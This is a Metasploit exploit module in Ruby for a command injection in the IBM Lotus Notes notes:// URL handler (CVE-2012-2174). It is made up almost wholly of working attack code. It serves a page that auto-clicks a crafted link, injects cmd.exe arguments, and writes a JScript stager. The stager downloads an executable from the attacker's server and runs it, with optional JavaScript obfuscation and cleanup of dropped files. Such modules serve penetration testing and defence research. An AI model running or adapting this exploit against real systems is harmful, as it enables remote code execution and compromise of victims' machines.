1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "IBM Lotus Notes Client URL Handler Command Injection", 'Description'=> %q{ This modules exploits a command injection vulnerability in the URL handler for for the IBM Lotus Notes Client <= 8.5.3. The registered handler can be abused with an specially crafted notes:// URL to execute arbitrary commands with also arbitrary arguments. This module has been tested successfully on Windows XP SP3 with IE8, Google Chrome 23.0.1271.97 m and IBM Lotus Notes Client 8.5.2. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Moritz Jodeit', # Vulnerability discovery 'Sean de Regge', # Vulnerability analysis 'juan vazquez' # Metasploit ], 'References' => [ [ 'CVE', '2012-2174' ], [ 'OSVDB', '83063' ], [ 'BID', '54070' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-154/' ], [ 'URL', 'http://pwnanisec.blogspot.com/2012/10/exploiting-command-injection.html' ], [ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21598348' ] ], 'Payload'=> { 'Space' => 2048, 'StackAdjustment' => -3500 }, 'DefaultOptions'=> { 'EXITFUNC' => "none", 'InitialAutoRunScript' => 'migrate -k -f' }, 'Platform' => 'win', 'Targets'=> [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Jun 18 2012", 'DefaultTarget'=> 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def exploit @exe_name = rand_text_alpha(2) + ".exe" @stage_name = rand_text_alpha(2) + ".js" super end def on_new_session(session) if session.type == "meterpreter" session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") end @dropped_files.delete_if do |file| win_file = file.gsub("/", "\\\\") if session.type == "meterpreter" begin wintemp = session.fs.file.expand_path("%TEMP%") win_file = "#{wintemp}\\#{win_file}" # Meterpreter should do this automatically as part of # fs.file.rm().Until that has been implemented, remove the # read-only flag with a command. session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|) session.fs.file.rm(win_file) print_good("Deleted #{file}") true rescue ::Rex::Post::Meterpreter::RequestError print_error("Failed to delete #{win_file}") false end end end end def on_request_uri(cli, request) if request.uri =~ /\.exe$/ return if ((p=regenerate_payload(cli))==nil) register_file_for_cleanup("#{@stage_name}") unless @dropped_files and @dropped_files.include?("#{@stage_name}") register_file_for_cleanup("#{@exe_name}") unless @dropped_files and @dropped_files.include?("#{@exe_name}") data = generate_payload_exe({:code=>p.encoded}) print_status("Sending payload") send_response(cli, data, {'Content-Type'=>'application/octet-stream'}) return end my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] if datastore['SSL'] schema = "https" else schema = "http" end uri = "#{schema}://#{my_host}" uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6)+3)}.exe" script = "var w=new ActiveXObject('wscript.shell');" script << "w.CurrentDirectory=w.ExpandEnvironmentStrings('\\%TEMP\\%');" script << "var x=new ActiveXObject('Microsoft.XMLHTTP');" script << "x.open('GET','#{uri}', false);" script << "x.send();" script << "var s=new ActiveXObject('ADODB.Stream');" script << "s.Mode=3;" script << "s.Type=1;" script << "s.Open();" script << "s.Write(x.responseBody);" script << "s.SaveToFile('#{@exe_name}',2);" script << "w.Run('#{@exe_name}');" vmargs = "/q /s /c echo #{script} > %TEMP%\\\\#{@stage_name}& start cscript %TEMP%\\\\#{@stage_name}& REM" link_id = rand_text_alpha(5 + rand(5)) js_click_link = %Q| function clickLink(link) { var cancelled = false; if (document.createEvent) { var event = document.createEvent("MouseEvents"); event.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null); cancelled = !link.dispatchEvent(event); } else if (link.fireEvent) { cancelled = !link.fireEvent("onclick"); } if (!cancelled) { window.location = link.href; } } | if datastore['OBFUSCATE'] js_click_link = ::Rex::Exploitation::JSObfu.new(js_click_link) js_click_link.obfuscate js_click_link_fn = js_click_link.sym('clickLink') else js_click_link_fn = 'clickLink' end html = <<-EOS <html> <head> <script> #{js_click_link} </script> </head> <body onload="#{js_click_link_fn}(document.getElementById('#{link_id}'));"> <a id="#{link_id}" href="notes://#{rand_text_alpha_upper(3+rand(3))}/#{rand_text_alpha_lower(3+rand(3))} -RPARAMS java -vm c:\\windows\\system32\\cmd.exe -vmargs #{vmargs}"></a> </body> </html> EOS print_status("Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end |